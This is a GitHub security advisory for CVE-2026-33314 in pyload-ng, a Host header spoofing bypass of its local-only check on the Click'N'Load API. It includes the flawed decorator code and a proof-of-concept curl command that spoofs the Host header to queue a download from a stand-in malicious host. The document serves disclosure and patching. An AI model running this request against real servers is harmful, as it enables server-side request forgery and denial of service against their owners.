Skip to content

Improper Authentication and Origin Validation Error in pyload-ng

Moderate severity GitHub Reviewed Published Mar 18, 2026 in pyload/pyload • Updated Mar 27, 2026

Package

pip pyload-ng (pip)

Affected versions

<= 0.5.0b3.dev96

Patched versions

0.5.0b3.dev97

Description

Summary

A Host Header Spoofing vulnerability in the @local_check decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS).

Details

The pyload WebUI provides an API for the Click'N'Load plugin, which is intended to be accessed only from the local machine (e.g., via a browser extension sending requests to localhost:9666). To enforce this, the pyload application uses a @local_check decorator on the relevant routes in src/pyload/webui/app/blueprints/cnl_blueprint.py.

However, the @local_check implementation relies on the user-controlled HTTP_HOST (derived from the HTTP Host header) to verify the origin:

# src/pyload/webui/app/blueprints/cnl_blueprint.py
def local_check(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
        http_host = flask.request.environ.get("HTTP_HOST", "0")

        if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
                "127.0.0.1:9666",
                "[::1]:9666",
        ):
            return func(*args, **kwargs)
        else:
            return "Forbidden", 403
    return wrapper

Because http_host is read directly from the Host header of the HTTP request, an external attacker can easily spoof this header (e.g., Host: 127.0.0.1:9666). When this spoofed header is present, the condition http_host in ("127.0.0.1:9666", ...) evaluates to True, completely bypassing the IP address check (remote_addr) and granting access to the protected functions.

The affected routes are:

  • /flash/ and /flash/<id>
  • /flash/add
  • /flash/addcrypted
  • /flash/addcrypted2
  • /flashgot and /flashgot_pyload
  • /flash/checkSupportForUrl

PoC

  1. Ensure the PyLoad instance is running and accessible externally.
  2. Ensure the ClickNLoad plugin is enabled in the PyLoad settings (it evaluates to disabled by default).
  3. Send a POST request to one of the protected endpoints, such as /flash/add, and spoof the Host header to 127.0.0.1:9666.

Example curl command:

curl -i -X POST "http://<pyload-external-ip>:<port>/flash/add" \
     -H "Host: 127.0.0.1:9666" \
     -d "urls=http://malicious.com/payload.bin" \
     -d "package=MaliciousPackage"
  1. Notice that you receive a success\r\n response instead of a 403 Forbidden. The package and URL will be successfully added to the PyLoad queue.

Impact

This vulnerability allows unauthenticated attackers to interact with the Click'N'Load API. Attackers can arbitrarily add URLs to the download queue, which forces the PyLoad server to make outbound requests to attacker-controlled or internal URLs (SSRF). Attackers can also exhaust the server's storage or bandwidth by queueing massive files (DoS).

References

@GammaC0de GammaC0de published to pyload/pyload Mar 18, 2026
Published to the GitHub Advisory Database Mar 19, 2026
Reviewed Mar 19, 2026
Published by the National Vulnerability Database Mar 24, 2026
Last updated Mar 27, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(1st percentile)

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

Origin Validation Error

The product does not properly verify that the source of data or communication is valid. Learn more on MITRE.

CVE ID

CVE-2026-33314

GHSA ID

GHSA-q485-cg9q-xq2r

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.